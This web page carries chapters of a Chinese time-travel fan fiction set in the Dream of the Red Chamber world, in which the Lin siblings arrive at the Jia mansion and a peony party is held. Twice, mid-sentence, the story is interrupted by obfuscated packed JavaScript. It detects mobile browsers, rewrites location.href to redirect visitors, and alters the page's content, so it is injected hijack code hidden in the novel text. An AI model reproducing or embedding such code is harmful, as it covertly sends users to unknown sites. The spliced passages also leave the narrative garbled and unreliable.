按野史里记载,先帝时南海有过叛乱,后来被前一任南安郡王平了,先帝为了安抚南海,带着当今亲自前往巡视。尝没尝过蛇羹不知道,只是巡视南海只怕是真的。 四王八公是真正立过功的,不然不会富贵这么些年,只是后人太把这功劳当回事儿,心里滋生出野心,想着万世万代享富贵,这在皇家看来就是不安分了。皇家还不知道能不能万世万代呢,你们就敢想? 就好比书里的焦大,战场上,从死人堆里救过老国公的命,宁肯渴死饿死也让主子先喝先吃,不可谓不劳苦功高。可最后呢,被王熙凤骂“没王法的东西”。贾家看焦大,不正是皇家看四王八公吗? “那东宫只怕是过两日就会来要人了。”卫若兰清冽的声音打断了柳琼的感慨,只听他继续道,“太子是最喜美食的,贾家送进宫的女官只怕是要起来了。” 果然如此,柳琼心内轻讪,贾府可能也是想借此试探,太子到底能不能出宫。虽方法粗暴了些,但也算是简单直接,直指要害。 柳琼瞥了卫若兰两眼,难得遇见个精明人。 精明人皇上看着密信,心内骂一声糊涂,冷笑道:“派一个东宫的熟面孔,去把那几个厨娘要进来。” 太子还不能废,那些旧势力还没理清,少不得还得给贾府些好处,安抚安抚,免得到处乱窜坏了事:“以太子的名义,给贾家些赏赐,不咸不淡就行,吊着他们。 邬有道那里派暗卫联系,看看到底如何了。如果邬有道死了,邬家也留不得了。” 三王爷领命,出去办事去了。这些老勋贵扭作一团,枝枝蔓蔓,尚不知道触角能延伸到哪里,轻不得重不得,麻烦得紧。太子哥哥敢保他们一辈子荣华富贵,他们就惟太子马首是瞻。以后太子废了,这群势力又会拱起谁? 父皇可不是糊涂的,必是想拆掉这些人,让他们窝里斗,别没事老围着皇子转悠。太子废了之后,就剩他和四弟了,四弟是嫡次子,接任的可能性比他大,没见父皇将死士给他了嘛,历来皇上都是光明正大,不接触这些阴私事的。 那他就是父皇留下来让四弟用的。 甘心吗? 说甘心那是假的,可谁让他继位的可能性最小呢。母妃只是宫女出身,在父皇看来是上不得台面的,如今他挣了个郡王,等四弟登基肯定被封亲王,也算是给母妃争气了。 就在柳琼顺利赚了一千两银子时,贾府也收到了东宫的赏赐,还见了东宫出来的熟悉的小内侍,自然以为元春在宫里没事,贾母和王夫人俱舒了口气。 因利用了邬家的厨娘,在邬家嬷嬷离京前,贾母很给面子的多赏赐了些器物,也就丢到脑后不再问了。 那贾家的古董还能有真的?早被冷子兴联合岳丈周瑞,用假货替换了真器,李代桃僵罢了。偏邬家嬷嬷是个没见识的,以为得了天大的恩典,欢天喜地就家去了。 偏那次贾琏叫柳琼过去看他做好的跳棋,远远瞧见了,就知道贾家内里是被蛀空了的。他心内叹气,只盼着桐儿早些来京城,将林黛玉接回林家,早做打算才是。 在通州码头,邬桐心里也急呢,眼见着快五月了,这到了京城,第一件事肯定是得去拜见贾母。顶着林家人的身份,那礼法上贾母就是嫡亲外祖母,必是得去的。去了就肯定会被留在贾家住,她可真不耐烦这个。 虽然书里这个春那个钗的都是水灵灵的女孩子,又是作诗又是作画的。可她一个俗人,诗画半点儿不通,哪里有什么共同话题。她觉得林黛玉那一身病就是闲的,整日里不操心衣食住行,拿着书就是伤春悲秋,她不病谁病? 可住到贾府,就得打算打算住多久。林府肯定得拾掇,以什么名义搬出去,可得好好谋划谋划。 “少爷,马车都装好了,咱们该出发了。”林管家这次亲自送三位小主子进京,也是到贾府看看,林家千金在后宅是不是真的住得安心。 夫人在世时,对贾家那是恨不能掏空了林家去贴补,如今林家的姑娘在贾家也就住了不到一年,如果住得不舒坦,可别怪他不给死去的夫人面子。 林管家心内发狠,面上对小主子们毕恭毕敬。他是林家的忠仆,虽然不知道三位少爷小姐是怎么冒出来的,但林家几代单传,如今有了后人,他自是欢喜的。 “林家在通州可有铺子田地?”邬桐问道。通州就在京城边上,以后京城不方便做的事,少不得要在通州这边办,因此邬桐格外关心田地的事。 “那是自然。”林管家面上谦虚,语气却格外骄傲,“不止通州,就算京郊,我们林家也是有庄子的。通州这里有个一千亩的大庄子,京郊有五百亩的小庄子,另各有铺子四间,都是死去的老侯爷当年置办的家产。” 林家出身列侯,祖上也是豪富过的,邬桐点点头。在哪个世界生存都少不了钱财开路,有了这些打底,她的一些主意就能施行。以后给林家一些分子就是。 “林管家。”说曹操曹操到,林家在通州的曹庄头拎着一袋子蛇,拍马道,“好叫林管家知道,如今京城流行吃蛇羹,听闻就是贾府里传出来的。这是小的叫底下的庄户准备的好蛇,想着您进京能用得上,这不天没亮就过来等着了。” “蛇羹?”邬桐低声呢喃,在脑内翻找了下记忆,知道这八成是邬家进献给贾家的。南海那边饮食上百无禁忌,什么都敢入口,就连毒性最烈的五步蛇,都敢扒皮尝肉做羹汤的。 即和邬家断了关系,她也不去深究这里面的门道。无外乎是婉姨娘的后宅手段,扒着贾家国公门第罢了。 殊不知邬家嬷嬷回了粤海后,很是夸耀了一番自家的蛇羹,称是东宫都派內侍来要人的,这个那个的,很是让邬家大房在粤海出了一回风头。一时盖过了粤海将军在的二房,让婉姨娘在后宅站稳了脚跟。 当然,这是后话,只说如今林管家接了曹庄头的好意,一行人浩浩荡荡去了京城。 贾府里忙着欢喜东宫的赏赐和圣人的恩德,哪里有真心为林家庶子庶女拾掇屋子的,少不得黛玉日日过去查看。多走动了些,稀里糊涂的,身子竟然比平时略康健了。大家也只以为是她欢喜有兄弟撑腰,都没多想。 偏薛宝钗心内不舒服,本来她的境遇是比林黛玉强的,虽说父亲不在了,但是内有母亲,外有哥哥,虽哥哥不争气,但到底人还在。现在林黛玉一下子冒出来三个哥哥姐姐,她心里如何好受。 这一日黛玉照例去百花堂看顾,薛宝钗在湖心亭上看景儿,倚在东北角儿,旁边是贴身服侍的莺儿。因两人瘦小,被高大的楼阁挡了个严实。 两个办事的婆子没留意,到湖心亭歇息,抱怨道:“那林姑爷也是糊涂种子,失散了这么些年才找到。我就说,当年敏小姐不是吃素的,你看看,把那些个妾氏都赶出府了 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刚想开口,就听黛玉咳了一声,温言道:“下人们自是尽心,只是我作为妹妹,怎么也得尽份心意。不管好不好的,我只管多走走,也是我对爹爹的孝心。” “这话很是。”宝钗亲热地拉着黛玉的手,朝百花堂走去,“我也去看看妹妹布置的屋子,定是差不了的。” 这边宝钗黛玉走了,那两个湖心亭歇脚的婆子嬷嬷才敢探头溜出去。日后如何编排宝钗暂且不提,只说林家的马车一进城门,就被贾府派来的仆妇们迎了上去。 “可盼到表公子们进京了。”那管事的老嬷嬷头上插着金钗,衣服也是展展新的绸缎,真真比小门小户的官太太打扮得还体面齐整。 礼法上只有官太太才可穿绸缎,贾家的下人猖狂至此,偏大家见怪不怪,也是奇了。 作为内宅女子,自是邬桐出面招呼这些内宅的管事,她拉开车帘,笑笑,矜持地道:“爹爹疼爱我等,准备了一船的东西,还有丫鬟仆妇四十余人,路上耽搁了些,劳外祖母记挂了。我们这就进府拜见外祖母吧。” 柳琼坐在一边的茶铺子上只管笑,桐儿这是受他影响,不喜贾家呢。瞥见邬桐暗暗瞪他一眼,柳琼摸摸鼻子,好吧,他好像是没用了些,现在才进了一次贾府,什么都没改变,还是桐儿改了剧情,生生闯出了一条道儿。 那边,外管事告罪的话听着也亲密得紧,什么可等到公子了,老太太早早就盼着了,可听在林管家耳中却格外刺耳。这是说几人走得慢,让老夫人久等了? 也不看看众人风尘仆仆的,坐车做得脸色发白,张嘴就挑拨,林管家开口刺了回去:“林家巡盐御史,家资减薄,马儿都跑岔气了,才到京,跟国公家不能比。” 你就听去吧,巡盐御史家还家资减薄,还跟国公家不能比。当初贾敏一船船地往京城送节礼,谁人不知谁人不晓,有点儿脑子的都能听出来这是讽刺贾家呢。 偏这外府派来的管事眼高于顶,硬是没听出来,还赞同地点点头:“那等我回明老爷,赏林家一匹好马就是。国公府可是以武起家,家里好马不知道有多少。” 邬杨心内憋笑,悄悄拉了林管家的袖子,暗示别跟这糊涂人计较。林管家瞥了那管事一眼,也觉得跟他说话降了身价,撇过头去不再理会。 有了这段小插曲,一路上都安静得很,邬桐拉开车帘,看着京城繁华的街市和阜盛的人烟,心内感慨:书里的林妹妹当真是被她娘坑了。 林家出身列侯,虽不及国公府,但门第也不低,况且林如海高中探花。 宁国府还有贾敬,虽现在在道观里猫着,可当初也是进士出身。 荣国府呢?读书读书不行,习武更别提了,林如海娶贾敏,可真不是攀附。要说攀附,那也是贾家攀着林家,而不是林家攀附贾家。 贾敏自诩国公府小姐,不知道在林黛玉小时候说过多少次国公府的气派,让小小的黛玉天生对国公府就生出了怯意。 六岁上去贾府小住,先天弱了气势,不被贾府那些眼高于顶的下人欺负才怪。 后来林如海死了,贾琏护送林黛玉奔丧,发了三二百万外财,延续了国公府的繁华,却没有善待这外财的主人。 真真作孽,怪不得柳琼那厮每每看书都对贾家又骂又斥的,当真是没良心至极。 如今有了这段因果,她和柳琼自是要千万保全黛玉和林家的。 只是这宝黛拆是不拆?拆吧,不知道那警幻仙子是真的还是假的,还有马道婆和一僧一道,都是有些神通的,不知道拆了之后会不会有什么报应。 不拆吧,她又实在是看不上贾宝玉这个人。跟袭人、碧痕不清不楚地,还招惹秦钟、蒋玉涵和柳湘莲这些男人,再是花心不过,真的配不上书里的林妹妹。 想着事,没注意贾府开了角门,将三人抬了进去。林黛玉当初就是走的角门,她和哥哥作为庶子庶女,也不去争这个理,只端坐在轿子里等着便是。 一路垂花门、穿堂的过去,竟是要将邬杨送到后院儿,邬杨赶忙叫住抬轿的小厮:“岂有外男直接进内院儿的道理?让妹妹进去就是,你们送我和小弟去见舅舅。林管家,你派人跟着妹妹,不可偷懒躲闲。” 林管家早急得跳脚了,苦于在别人的府里不能高声喧哗,现在大少爷发话了,哪有不听的道理,让内院儿管事的嬷嬷跟着姑娘进去,他塞了些银子给抬轿子的小厮,这才拐弯儿向外院书房走去。 小厮们哪里知道那许多门道,都是主子们说什么他们做什么。当初说让把人抬到内院见老太太,他们就以为是让三人都去呢,谁知道竟有两位是不能随便去的。正踌躇呢,见了打赏自是接了,反正不是他们不听话,是主子们发话了,他们不得不听。 内院,小厮们将轿子停到门口,低着头退出去。一个穿着轻罗藕荷比甲,土褐色撒花绸缎裙儿的婆子将轿帘掀开,就见轿里伸出一只青葱般的手,扶着她的胳膊走下轿。小姑娘十二三岁的样子,穿着桃红缠枝花纹的比甲,底下一条松花绿云纹马面裙。 婆子偷眼觑了姑娘一下,心里赞一声好相貌,竟是比宫里的大小姐还气派。不敢再放肆,低着头将人引到穿堂。 邬桐下轿后,见婆子乖觉,也不发作,一路过穿堂,转插屏,进入正房大院,雕梁画栋不必细说。 正房雕花游廊下,几个穿红着绿的小丫鬟笑着迎上来,为首的一位当先道:“老太太早等在里面了。”说着不等人回话,高声喊道,“林家姑娘来了。” 邬桐挑挑眉,对着打帘儿的小丫鬟笑笑,矮身进入房门。 屋内,用金碧辉煌形容都不为过,十几个大红寿喜烛,将屋内照得比外面的日头儿还亮,右侧供桌上,大红的婆娑果摆着,不是用来吃的,而是熏屋子,要的就是这个果香。 正中一张填漆床上,悬着竹青销金撒花帐子,用大铜钩收着。贾母一头银发,从顶至梢,四颗大东珠,用金八宝坠角,身上穿着正红撒花半旧长马褂,脖子上挂着五彩项圈,倚在床上。脚边两个矮榻,一左一右坐着黛玉和宝玉。 10. 入贾府 黛玉眼泪汪汪地看着阔步进来的姐姐,早哭得不能自已。倒是宝玉咦了一声,跟贾母撒娇:“桐儿姐姐竟跟大姐姐长得这般像。” 邬桐没搭理这话,只粗粗弯腰行礼:“拜见外祖母。”反正林如海放出话,她是在农家长大的,礼仪粗疏些才不会出错。再说,什么人都得像贾家人才好?笑话。 贾母没说话,倒是一旁的大丫鬟一把将邬桐拉到贾母身旁:“老太太您看,真真儿您的亲孙女一般。” 贾母这才一把拉邬桐入怀,亲啊肉啊地叫着,外人听了还当是多亲热的一家人呢。 可实际上呢,邬桐如今的身份,不过是林如海的庶女,跟贾家当真是一点儿血缘关系也没有的。从邬家算,还算是有些瓜葛。可这么些年,她才第一次见贾家人,多么讽刺。 邬桐微微皱眉,心内有些不耐烦。只知道贾家的丫鬟胆大,没想到今儿真见识了。拉她的是鸳鸯吧?看穿着,不知情的还以为是哪位小姐呢。 “真真是再齐整不过的丫头了。老太太以后啊,只怕最疼的就是桐姐儿了,再没有我的容身之地了。”王熙凤哈哈笑着打趣儿,“前头有黛玉和宝钗,还有迎春姐妹,如今又来了个娇滴滴的桐姐儿,我当真成了那没人疼没人爱的凤辣子了。” 贾母擦掉挤出来的眼泪,轻斥一句:“就知道取笑我这老太婆。”说着拍拍邬桐的手,无限怜爱般,“别理这个凤辣子。可怜见的,在外面不知道遭了多少罪呢。 你爹也是狠心,不知道将你们送到哪些地方受苦呢。他要是早早把你们送来,我们国公府能慢待了自家骨肉?你大哥哥呢,怎么不进来?” “外祖母,大哥年纪大了,不方便进后宅。”邬桐弯了弯腰告罪道,“哥哥带着弟弟去外面见舅舅们了,一会儿和舅舅们一起进来给外祖母请安,外祖母别担心。” “都是自家骨肉,这么多礼作甚。这些虚礼都是做给外人瞧的,咱们这样的人家,很不必把这些当回事。”贾母转身,摩挲了下黛玉的后背,感叹道,“快见见你姐姐,不是总羡慕人家有兄弟姐妹嘛,你如今有了三个哥哥姐姐,看你还哭不哭了。” 林黛玉擦擦眼泪,起身盈盈一拜:“姐姐。” 声音真是比黄莺还动听,邬桐先就心软了,这哪里是柳琼的女神,明明该是她的女神嘛。柳琼滚一边儿去吧,林妹妹还得她护着才行。 “妹妹快别多礼。”邬桐趁机扶住林黛玉的手臂,将异能缓缓注入其体内。她现在能做的就是给黛玉治治身子。从面相看,如今黛玉也不过七八岁年纪,懂什么情啊爱啊的,只要她没动心,就不算是拆宝黛,嘿嘿。 不知道邬桐心思的林黛玉,只觉得身心舒泰,竟是从没有过的轻松。她以为是终于见到了日思夜想的亲人,心愿得偿所致,也没声张,只握住邬桐的手不放。 “林姑娘有了亲姐姐,以后我这野丫头就成了府里唯一一个没人疼的了。”史湘云眨巴着眼睛,高声打趣儿道,“林家姐姐好歹疼一疼我,好叫我也有个知冷知热的兄弟姐妹。” 不知道这是不是传说中的绿茶,看似大大咧咧的没有心机,实则暗讽挑拨的,邬桐本来对书里的史湘云挺喜欢的,谁知见了之后竟是这般。可见书里很多事都做不得准,很多人也都得见过了才能下判断。 “妹妹说笑了。您是公侯出身的小姐,哪里是什么野丫头。要说野丫头,我才是正正经经的野丫头呢。当初为了我们兄妹能平安长大,家父将我们寄养在农家,是真正在农家野地里长大的。不懂什么规矩礼仪,有哪里得罪了,妹妹勿怪,实在是在下粗鄙,不识礼教罢了。 湘云妹妹这话以后还是不要再说了,您自小在侯府长大,我又如何能比?让有心人听了传出去,还以为您对叔叔婶婶不满呢。” 邬桐不轻不重地回了一句。她是个有仇必报的性子,这种口舌之争当场就报了,还留着过年不成?多少大事要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贾母一个出嫁的姑奶奶,还能管娘家怎么发嫁侄孙女不成?是能给嫁妆还是能给安排亲事?整日就是安于享乐,贾家男人不争气,女人被贾母带着,只知道一味吃喝玩乐,能成个什么气侯。 得早早把林黛玉接出府才行,瞥见黛玉脸色好转许多,邬桐这才停止注入异能,面无表情地又瞥了一眼屋内,一屋子儿孙丝毫不受影响,说笑着奉承老太太。 11. 赏花宴 “姐姐,你是不是不想住在外祖母家?”林黛玉是何等机敏之人,等出了贾母的院子,搂着邬桐的手臂,低声问道。 想住才怪,不仅我不想住,我还想把你搓出去呢。 邬桐拍拍林黛玉的手,安慰道:“咱们林家在京城也是有宅子的,如今咱们四个人都住在贾家,终究不妥当。 等宅子收拾出来,我们就搬出去,你要是想外祖母了再进来看她就是,到底是自己家住着自在。” 自在不自在的,因人而异,不过林黛玉也赞同这话。 她何尝喜欢寄人篱下,只是父亲远在扬州,她孤身一人寄居京城,没有国公府照应,只怕是寸步难行。 如今哥哥是举人,明年春闱,眼看着林家就起来了,她又怎会想着再住在贾家。狗还知道窝里香呢,更何况是人。 幸亏邬桐和柳琼来得早,此时黛玉在贾家只住了一年,宝玉才七八岁左右,要说感情也有,不过真的就是兄妹间的亲情,其他真没有了。 有林黛玉参详,百花堂自是布置得再风雅没有,佳木葱茏,奇花烂漫。 两人沿着青石小径在院子里参观了一圈儿,刚在正屋落座,平儿就带着一溜儿仆妇过来送表礼,南安郡王、东平郡王、西宁郡王、北静郡王都送了礼来,俱都是五十两银子并绸缎茶叶,不可谓不丰厚。 邬桐瞧了一圈儿,知道这礼看的是林如海的面子,面上没什么表情,端坐着扬声吩咐:“辛苦平姐姐了。蕙香,带妈妈们去后面领赏。” 蕙香是当日林管家派来的丫鬟之一,邬桐观察过几天,还算是机灵,就带在身边用了。她知道这些丫鬟都是林家的忠仆,林管家问什么她们不敢不说。不过邬桐也不打算瞒着林如海,反正他们兄妹三人和林如海是合作关系。在扬州时和外面的消息传递都是这丫鬟在做,算是她的亲信了。 蕙香也是聪明人,小姐和外人频繁传递消息,如果事发,她这个贴身丫鬟就是第一个被处置的,因此每日战战兢兢,竟是谁都不敢告诉。 屋里瞬间空了下来,平儿躬身忙称不敢当,又说起别的话:“桐姑娘,以后百花堂的一应饮食......” 不待平儿说完,邬桐端起茶杯,笑着道:“百花堂有小厨房,我们自己开火就是。原是父亲跟外祖母说好的,等林家收拾好之后就搬出去住,我等不敢不从命。爹爹打发了厨娘过来,谢平姐姐和二嫂子操心了。” 平儿只管答是,等婆子们吃好酒领完赏银喜滋滋地出来,平儿这才起身告辞。这位连老太太娘家侄孙女都敢怼,她可没脸反驳什么,听着就是了。 等平儿离开,邬桐才着手安排下人的排班,将贾家原本的仆从撇下,林家带来的所有下人召集在院子里,这才开口道:“虽寄居贾府,但百花堂独自开火,并不与国公府有太多牵扯。以后百花堂的侧门都锁上,钥匙给大哥保管,只留正门和后门开着,各留三个婆子,分三班日夜看守,任何人无事不得私自出院子。有事外出的话,来回我或者妹妹,会给发腰牌,有腰牌才能外出,明白吗?” 说完,让林管事和总管的仆妇将腰牌等物抬出来,并安排排班事宜。 安排好了出入的事,之后才是近身伺候的人。说实话,邬桐对林黛玉身边的这几个人都有意见。黛玉在府里的日子过得如何,她们看不到吗?看到了不去信给林如海不说,反而纵的黛玉,夜夜独自落泪到天明! 贴身的几个大丫鬟是干嘛的?黛玉就是再爱哭,你们分成三班日夜看着,就是陪着熬着,黛玉就是那心狠的,看着丫鬟陪着她一起做病下去?哪怕是做做样子,黛玉也会躺在那里,总比夜夜啼哭好吧。 她们倒是好,看多了就看惯了,看惯了就不劝了,就这么由着黛玉。这些人,邬桐还真是瞧不上。不过黛玉敏感,邬桐要是冒然插手她身边的人和事,恐黛玉多想。只给各丫鬟排了个班,三班倒,十日一换,日夜有人陪着,她就不信黛玉还会夜夜啼哭。 只说另一边离开的平儿,一步步行到院中,见院中正房外,蹲着两个小丫头,拿着树枝子也不知道在地上划拉什么。平儿也不上前,打个呵欠装作累了,回屋歇了一会儿子。等正屋叫了水,有半刻钟时间,她才起身去汇报。 王熙凤一身家常的银红云纹长比甲,歪在炕桌上拢头发,贾琏闲闲靠在墙上,长衫领口的盘扣敞着,用银勺挑着半拉子鲜红的西瓜吃。 见平儿进来,贾琏挑着眉坏笑,王熙凤脸红,啐一口,问平儿:“礼送过去了?那林家大小姐怎么说,可要咱们送米粮?要我说,那林家大小姐真真儿才是辣子呢,我这种银样镴枪头再是比不上的。” 平儿坐在小丫头搬过来的绣墩儿上,开口道:“我瞧着竟真是有小姐您的品格。四王的礼那般重,她眉毛都没挑一下。送米粮的话我还没说完,就被打断了,再是泼辣没有的。只怕老太太的打算不成。” 王熙凤霍地坐起来:“当真?” 平儿点点头:“当真。” 王熙凤长叹一口气:“还想着巡盐御史家富可敌国,林妹妹的嫁妆,怎么也够家里花用一阵子了,竟是不成。府里开销一日比一日大,可如何是好?” 贾琏在外面挣着跳棋的银子,这两日正想去拜访柳琼,看看有什么其他的营生没有。闻言嗐一声:“你就是个挂着钥匙的丫头,这个家又不是你当。有太太呢,你操的哪门子心。宝玉的婚事岂是你能插手的?快歇了心思吧,就是老太太,说不得都犟不过太太去。” 王熙凤挑挑眉,也不理这话,只斜着眼儿问贾琏:“呦,都三日不回家了,爷这是又被哪个狐媚子缠住了吧?我和平儿两个粗疏,自是比不得外面的狐媚子得人意的。只求爷三不五时能想起我们一想,就阿弥陀佛了。” 贾琏哪里肯认这个话,知道王熙凤的醋坛子要是打破了,没他好果子吃,只得好言好语地奉承:“那林家大姑娘再能干,也不过才十三岁的毛丫头,如何比得过你?你要是有这个心思,只管奉承老太太去,谁能有你在老太太身边得脸?” 王熙凤翘起嘴角,拿起一瓤西瓜啃起来。平儿见状,起身悄悄退下了。 没过几日,也不知从哪里露出的消息,宁荣街上都在盛传,林如海林大人如何如何疼宠新认回来的三个孩子,这次来京,光金子就带了三箱子,足足五千两,还有玉器古玩十几个箱笼,看那家底儿,竟是比国公府半点儿不差的。 从王熙凤那听到消息后,一连几日,贾母都阴着脸怏怏不乐。林如海到底是跟敏儿两样心思,这是事事防备着敏儿呢。可见那些年送过来的节礼,也就是皮毛,林家真正的家底儿,敏儿怕是都没摸着。 王夫人虽也可惜银子,却暗暗高兴。老太太对林家存了怨怼,就不会总想着宝玉和黛玉的事儿了。宝玉将来可是国舅,什么豪门贵女娶不得。林如海不过是巡盐御史,早晚得卸任,就算银子再多,能多过世家勋贵经年的积累? 邬桐听到谣言,只摇摇头,刚到贾家就刮起妖风,还是跟贾家走得太近的缘故。她也不去触霉头,只吩咐林管家去通州,寻一些会做瓷器的匠人。她打算做瓷器的买卖,还有首饰铺子,后世那些样式早就想做出来卖了,如今有机会,当然是先赚钱了。 什么抄袭?那些奢侈品能堂而皇之地抄袭国画里的精华,她怎么就不能借鉴借鉴后世的油画了? 况且她本来就是学珠宝设计的,家里不缺钱,对瓷器也有些研究。虽不会做,但审美还是在的。等铺子开起来,少不得多画些样子去卖。京城里多少豪门勋贵,不赚他们的钱,难道去刮穷人的油?她还下不去那个手。 这个时代,真是朱门酒肉臭,路有冻死骨的。比后世,甚至比末世都要残酷。 邬桐这边刚动,柳琼就知道了。他早让小乞儿盯着百花堂的角门呢,林管事一出来,他就收到了消息,装着偶遇几次,也就搭上了话。 他去过扬州,又得林如海看中赠送过名帖,林管事自是认得他,知道这是个得用的。如今瞧着柳琼人热情得紧,笑谈间,少不得被挖出了邬桐的一些安排。 瓷器和金银首饰铺子都是赚钱的营生,柳琼摸摸鼻子,这是又被媳妇儿养了? 他也不别扭,大大方方地跟着林管家跑腿儿,只说是学习学习办事儿的经验,以后也好知道如何管理庶务。 刘家表哥那里搭上了线,随便抓一两个贾家奴仆的小辫子,让帮着往里面传递消息,路子也就通了。 从几次林管家回的话中,邬桐知道柳琼在外面支应,也收到了几次消息,就不再多管了。他的心眼儿只会更多,邬桐只把心放在医治黛玉上。 邬杨和邬柏时常被贾政留在了前院儿讨论学问,本来贾政还想让宝玉陪着,好歹能多讨论讨论文章,谁知宝玉哼唧着不愿意,贾母又心疼,竟是一次也不成行。贾政无法,只得让清客陪。 其实邬杨和邬柏更希望在百花堂书房清清静静地读书。皇上不知道什么时候就会见邬杨,明年还要春闱,他是真的没工夫应付清客。可贾家在国公府的门第上下不来,觉得只有清客陪着,才能彰显府里的重视,邬杨也只得从命。 不过清客也不全是攀附权贵的无用之人。有一个柳秀才,实在是家中贫困,父母俱亡,读不起书,这才舍了前程攀附上国公府,只图口饭吃。 柳秀才也才十六岁的年纪,本来是贾政给贾宝玉准备的陪读,为了让宝玉能安心读书,也是用心找了的。柳秀才长得比宝玉都俊秀,唇红齿白的,无奈宝玉见了读书人就说禄蠹,怎么也不要人家陪。 这倒是便宜了邬杨和邬柏。柳秀才学问不错,要不是没钱参加秋闱,去年就能中举人的。十五岁的举人,前途无量着呢。 邬杨有自己的小心思,他和弟弟妹妹虽说是林家的庶子庶女,但妹妹的婚事他还得操心,断没有交给林大人的道理。如今这柳秀才他看着就很好,只是不知道他舍不舍得离了这国公府。 丝毫不知道邬杨还在操心她的婚事,邬桐连续三日都在为林黛玉输入异能,见她脸色红润许多,听雪雁说晚上也不咳嗽了,这才不再治疗。好得太快了,会引人怀疑的。 恰好这日贾家园子里的牡丹花开了,贾母一高兴,就开起了赏花宴。王熙凤是个最会哄老太太开心的,这个王府那个国公府的下帖子,生怕办小了显不出她的本事。 “你们两个到时候可都得来。”王熙凤掀帘子进来,风风火火地,拿起桌上的茶就喝,茶杯到嘴边后愣了一下,这茶杯怎么跟她寻常见到的不一样?也不喝茶了,只拿在手边上下左右地仔细打量。 “二嫂子这么辛苦地操持,去肯定是要去的。”邬桐开口,见王熙凤注意到了茶杯,开口解释,“这茶杯啊,是林家工匠做的新茶具,嫂子要是瞧着喜欢只管拿去用就是。” 王熙凤脸上的笑真诚多了:“妹妹真是再聪慧不过的。放心,嫂子拿去用,亏不了你的。” 那是自然,这次的赏花宴惊动的人可不少,前几日东宫的赏赐大家还记得,四王八公多久没得到过太子的赏了,大家都盯着贾家呢,帖子一送过去就回说必参加的。 能让这些“贵人”们用上一用,夸上一夸,她铺子里的瓷器就不愁卖不上高价。况且这一款瓷器参考了雍正皇帝的审美,再是素雅不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15100326|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,任谁也挑不出错。 贾府的牡丹园占地不到两百平米,如今布置一新,各色牡丹盛开。通往花园的青石板路,用水冲了又冲。各条小径汇总成一条大路,通往不远处的三层木质阁楼。阁楼有两道门,一道通往后院的牡丹园,一道通往前院。一左一右,相辅相成。 阁楼里,青烟色的帷幔、晚霞色的屏风,将阔朗的内室分隔成一个个单间,既挡风又能遮揽视线。 四位王妃、贾母和其他七公的夫人在顶层,王熙凤、李纨和王夫人陪着笑招待。二层是关系亲近的侯爵夫人,秦可卿和尤氏招待。一楼则是巴结过来的大小官员家眷,由族里有头脸的媳妇儿出面。 顶楼,各位当家夫人朗声说笑,时不时看两眼牡丹园里穿梭的小姑娘,俱穿得花枝招展,叽叽喳喳。妇人们脸上的笑容,不知是怀念逝去的韶华,还是得意家里的孙女出风头。 “还是老姐姐有福气。以后有大造化也未可知。”南安郡王老太妃恭维道。 自从离了南海,南安郡王一家刚开始在京城还有些面子,后来邬家渐渐兴起,竟隐隐有用邬家代替南安郡王的意思。 可恨邬家跟贾家有亲,老郡王又跟国公爷是拜把子的兄弟,让她轻不得重不得。 如今贾家的孙女有了前程,少不得又要巴上来,老太妃虽身份比史氏高贵,到底得低这个头。谁让她家在宫里没人呢。 贾母脸上显出些自得,老太妃都来巴结她,看来大丫头在宫里是真的有宠的。 “老太太家里的瓷器真是新奇,外面再没见过的。”北静王妃见不得南安老太妃的样儿,挑开话题道。 “都是凤丫头准备的,没见过世面的孩子罢了,王妃谬赞了。”贾母谦虚了一句,这才把注意力放到茶具上。见果然新奇可爱,不由得脸上更加骄矜。 几位超品诰命在高处交谈,底下陪坐着的儿媳孙媳们只当听不出其中的机锋,或低头喝茶,或细瞧手里的茶具,都暗暗记在心里,想着回去着人买。 “你从哪儿得的这茶具?又让你出了一回风头。”尤氏本来在二楼招待侯府夫人,这不是不忿王熙凤能在三楼服侍嘛,站在贾母身后只不挪步,还轻轻撞了王熙凤一下,酸溜溜地刺了一句。同是贾家孙媳,偏王熙凤事事压她一头,尤氏心里能舒服才怪。 可尤氏这样的出身,偏偏有诰命,又着实让王熙凤不忿。因此两人都憋着一口气,恨不能压得对方永远出不了头才好。 王熙凤伸手扶了扶头上的金丝八宝攒珠髻,手腕上的赤金手镯闪闪发光,口里却不说半句实话:“自是王家的珍藏,大嫂子可不是没见过嘛。” 当她听不出是嫌弃她门第低?尤氏暗自撇撇嘴,却也知道,王熙凤的嫁妆她是比不上的。就是这浑身金灿灿的装扮,她虽也能置办得起,却终究没那个心力。王熙凤怎么也生了大姐儿,可她呢? 妯娌两个在这里斗嘴神伤,三春、湘云、黛玉、宝钗和邬桐,只在远处的凉亭里赏牡丹。或倚在栏杆上看景儿,或在石桌上摆弄棋盘,或聚在一起说小话,偏不往前面牡丹园里凑。前面都是王妃们带来的姑娘,她们可不想奉承人。 “妹妹们怎么不到牡丹园里细瞧?”贾宝玉去族学里点了个卯就溜出来了,族学里的掌塾贾代儒早就摸透了贾宝玉的德性,也不敢拿大,只当不知罢了。 “你要去只管去,管我们作甚?”探春闲闲地拨弄着棋盘,回了一句。 “可是又哪里得罪了三妹妹?”贾宝玉笑眯眯地凑上前作揖,“不管有没有得罪,哥哥都先告罪,还请妹妹原谅则个。” “说你是无事忙,还真不是冤枉你。”薛宝钗落下一子,咯咯地笑,“你既不知道哪里得罪了她,胡乱赔什么罪?可见是知道的,只是装傻罢了。” “还得是宝姐姐眼明心亮,再没人能比的。”湘云说着,有意无意地瞥了黛玉和邬桐一眼,倾身戳了宝玉的脸颊,“羞是不羞,得罪了人还想瞒混过去?你好好赔个不是,三妹妹知理,再是没有不依的。” 林黛玉待要出口反驳,邬桐拍拍黛玉的手,她倒要看看史湘云是吃错了什么药,一次两次地试探她。 